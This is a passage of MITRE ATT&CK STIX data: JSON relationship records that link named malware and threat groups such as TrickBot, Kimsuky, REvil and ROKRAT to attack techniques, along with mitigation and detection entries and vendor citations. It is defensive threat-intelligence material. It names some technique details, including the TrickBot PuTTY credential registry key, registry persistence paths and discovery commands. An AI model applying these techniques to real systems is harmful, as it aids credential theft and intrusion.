"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T19:54:24.583Z", "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) stores a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications within a Registry key (such as `HKCU\\Office365DCOMCheck`) in the `HKCU` hive.(Citation: Unit 42 QUADAGENT July 2018)", "relationship_type": "uses", "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", "target_ref": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91b22928-d538-4460-a5ff-7a0a5e797430", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "source_name": "Symantec Elderwood Sept 2012"}, {"url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China", "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.", "source_name": "CSM Elderwood Sept 2012"}, {"url": "http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html", "description": "Paganini, P. (2012, September 9). Elderwood project, who is behind Op. Aurora and ongoing attacks?. Retrieved February 13, 2018.", "source_name": "Security Affairs Elderwood Sept 2012"}], "modified": "2021-01-06T19:32:28.685Z", "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims by injecting malicious code into specific public Web pages visited by targets within a particular sector.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)(Citation: Security Affairs Elderwood Sept 2012)", "relationship_type": "uses", "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91b41079-6c44-439e-a76c-2a128a792e17", "type": "relationship", "created": "2020-12-29T18:40:31.082Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-29T18:40:31.082Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used the PuTTY and Plink tools for lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91b6a6e1-c0eb-4bd8-84d4-4c31caf2ba6a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Rancor Unit42 June 2018", "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}], "modified": "2020-03-19T19:52:53.268Z", "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) performs the <code>tasklist</code> command to list running processes.(Citation: Rancor Unit42 June 2018)", "relationship_type": "uses", "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91baa343-383f-4010-b799-67e42bd8a016", "type": "relationship", "created": "2020-10-20T17:30:35.127Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco Securing SNMP", "url": "https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/20370-snmpsecurity-20370.html", "description": "Cisco. (2006, May 10). Securing Simple Network Management Protocol. Retrieved October 19, 2020."}, {"source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018", "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A", "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}], "modified": "2022-02-17T19:50:47.162Z", "description": "Allowlist MIB objects and implement SNMP views. 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Retrieved January 26, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bisonal](https://attack.mitre.org/software/S0268) has relied on users to execute malicious file attachments delivered via spearphishing emails.(Citation: Talos Bisonal Mar 2020) ", "modified": "2022-04-18T18:10:36.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91c175b7-5c8e-4534-82b1-9bdb1b709a34", "type": "relationship", "created": "2020-06-08T16:57:20.234Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky TajMahal April 2019", "url": "https://securelist.com/project-tajmahal/90240/", "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019."}], "modified": "2020-06-08T16:57:20.234Z", "description": "[TajMahal](https://attack.mitre.org/software/S0467) can set the <code>KeepPrintedJobs</code> attribute for configured printers in <code>SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Print\\\\Printers</code> to enable document stealing.(Citation: Kaspersky TajMahal April 2019)", "relationship_type": "uses", "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91c4630e-772b-4dac-8e58-5a899ccdc2be", "type": "relationship", "created": "2020-04-27T14:14:05.600Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-20T14:51:02.177Z", "description": "Routinely monitor user permissions to ensure only the expected users have the capability to modify cloud compute infrastructure components.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91c5d713-a89c-49fa-92eb-abaf18fae988", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellMafia/PowerSploit", "description": "PowerShellMafia. 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Retrieved January 23, 2023.", "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"}, {"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. 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(2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."}], "modified": "2019-06-24T19:15:06.910Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) has retrieved PuTTY credentials by querying the <code>Software\\SimonTatham\\Putty\\Sessions</code> registry key (Citation: TrendMicro Trickbot Feb 2019)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--91d0f880-8928-4173-bb2f-518876a8c0b3", "created": "2022-04-15T19:05:52.611Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MSTIC FoggyWeb September 2021", "url": "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", "description": "Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FoggyWeb](https://attack.mitre.org/software/S0661)'s loader can call the <code>load()</code> function to load the [FoggyWeb](https://attack.mitre.org/software/S0661) dll into an Application Domain on a compromised AD FS server.(Citation: MSTIC FoggyWeb September 2021)", "modified": "2022-04-16T01:56:16.152Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--91d4c776-c259-46b0-b511-b344ca027009", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. 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The [CozyCar](https://attack.mitre.org/software/S0046) configuration file has been encrypted with RC4 keys.(Citation: F-Secure CozyDuke)", "relationship_type": "uses", "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91d50267-6892-407e-8e0a-01435e6303a9", "type": "relationship", "created": "2019-06-28T16:02:08.236Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. 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Retrieved August 4, 2020."}], "modified": "2020-08-06T13:39:24.240Z", "description": "[REvil](https://attack.mitre.org/software/S0496) has infected victim machines through compromised websites and exploit kits.(Citation: Secureworks REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks GandCrab and REvil September 2019)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91f59958-db5f-429c-9608-a033ea68486b", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity PowerDuke November 2016", "description": "Adair, S.. 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Retrieved December 2, 2020."}], "modified": "2020-12-03T21:20:58.320Z", "description": "[HyperStack](https://attack.mitre.org/software/S0537) can add the name of its communication pipe to <code>HKLM\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\lanmanserver\\\\parameters\\NullSessionPipes</code>.(Citation: Accenture HyperStack October 2020)", "relationship_type": "uses", "source_ref": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--91f79ff4-3850-4e37-807a-fe303b312e23", "created": "2019-08-26T15:27:13.073Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. 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Retrieved August 13, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has exfiltrated data over its C2 channel.(Citation: Securelist Kimsuky Sept 2013)(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-12T14:59:32.072Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91fd8374-eeba-4243-a8de-ff7353236024", "type": "relationship", "created": "2021-09-28T15:57:33.088Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kroll Qakbot June 2020", "url": "https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks", "description": "Sette, N. et al. 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Retrieved September 27, 2021."}], "modified": "2021-09-30T13:49:36.096Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can conduct brute force attacks to capture credentials.(Citation: Kroll Qakbot June 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Kaspersky QakBot September 2021)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9206eef2-3336-4c6d-808c-e809bed9784e", "type": "relationship", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.872Z", "description": "Monitor for API calls that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9212f940-021e-49b1-b500-fa1dd76b7132", "type": "relationship", "created": "2020-06-30T00:39:39.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos Ragnar May 2020", "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "description": "SophosLabs. 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Retrieved June 29, 2020."}], "modified": "2020-06-30T00:39:39.847Z", "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has attempted to stop services associated with business applications and databases to release the lock on files used by these applications so they may be encrypted.(Citation: Sophos Ragnar May 2020)", "relationship_type": "uses", "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9212fc97-5ddd-4bec-a63b-892164dcb03f", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor for newly constructed files in order to manipulate external outcomes or hide activity", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--921b3245-0795-40cd-82e1-04f38bc42b14", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html", "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", "source_name": "Talos ROKRAT"}, {"source_name": "NCCGroup RokRat Nov 2018", "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."}, {"source_name": "Volexity InkySquid RokRAT August 2021", "url": "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}, {"source_name": "Malwarebytes RokRAT VBA January 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", "description": "Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}], "modified": "2022-03-30T14:53:28.879Z", "description": "[ROKRAT](https://attack.mitre.org/software/S0240) can retrieve additional malicious payloads from its C2 server.(Citation: Talos ROKRAT)(Citation: NCCGroup RokRat Nov 2018)(Citation: Volexity InkySquid RokRAT August 2021)(Citation: Malwarebytes RokRAT VBA January 2021)", "relationship_type": "uses", "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--921b9a4d-091a-442b-981a-0b34daa2ed6a", "type": "relationship", "created": "2020-03-30T19:36:27.927Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN7 Aug 2018", "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"}], "modified": "2020-03-30T19:36:27.927Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used port-protocol mismatches on ports such as 53, 80, 443, and 8080 during C2.(Citation: FireEye FIN7 Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--921c2a85-eab7-4cfc-9ac5-98a463262c17", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/", "description": "Lee, B, et al. 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Retrieved September 8, 2021.", "url": "https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-03T17:34:28.429Z", "description": "[BADHATCH](https://attack.mitre.org/software/S1081) can beacon to a hardcoded C2 IP address using TLS encryption every 5 minutes.(Citation: Gigamon BADHATCH Jul 2019)", "relationship_type": "uses", "source_ref": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9234553d-b096-418f-b3d0-de75c15d8180", "type": "relationship", "created": "2021-01-06T16:56:56.306Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SUNBURST Backdoor December 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "description": "FireEye. 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(2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-23T20:12:31.465Z", "description": "[ToddyCat](https://attack.mitre.org/groups/G1022) has used `netstat -anop tcp` to discover TCP connections to compromised hosts.(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--924b50b9-7de3-4036-b732-c87d08971122", "type": "relationship", "created": "2021-09-07T14:18:54.884Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "description": "Huss, D. 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Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Clambling](https://attack.mitre.org/software/S0660) has the ability to use Telnet for communication.(Citation: Trend Micro DRBControl February 2020)", "modified": "2022-04-15T14:14:45.878Z", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9253e8b3-9fbb-4149-a2e4-60d36c006ba6", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit Part 3", "description": "ESET. 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Retrieved November 21, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"}], "modified": "2020-03-20T23:16:54.145Z", "description": "[Downdelph](https://attack.mitre.org/software/S0134) uses RC4 to encrypt C2 responses.(Citation: ESET Sednit Part 3)", "relationship_type": "uses", "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9256370f-60b2-4ab5-9a23-28c8cde73026", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. 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Retrieved July 16, 2020."}], "modified": "2020-07-17T17:34:21.783Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can launch a remote shell to execute commands.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--925b4737-5a74-4cee-9335-2534f7ae7c94", "type": "relationship", "created": "2022-03-30T14:26:51.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.836Z", "description": "Monitor executed commands and arguments that may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9262b21e-8519-4cf5-895a-2c17c986ac8a", "created": "2022-03-30T14:26:51.861Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for logging, messaging, and other artifacts provided by cloud services.", "modified": "2022-04-28T15:04:16.443Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9263ab45-f7d5-4bcf-af7e-d7be1913c3d6", "type": "relationship", "created": "2019-06-19T17:14:23.775Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. and Dumont R.. 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Retrieved August 28, 2018.", "source_name": "Symantec Leafminer July 2018"}], "modified": "2020-03-18T22:00:45.497Z", "description": "[Leafminer](https://attack.mitre.org/groups/G0077) has used [Process Doppelg\u00e4nging](https://attack.mitre.org/techniques/T1055/013) to evade security software while 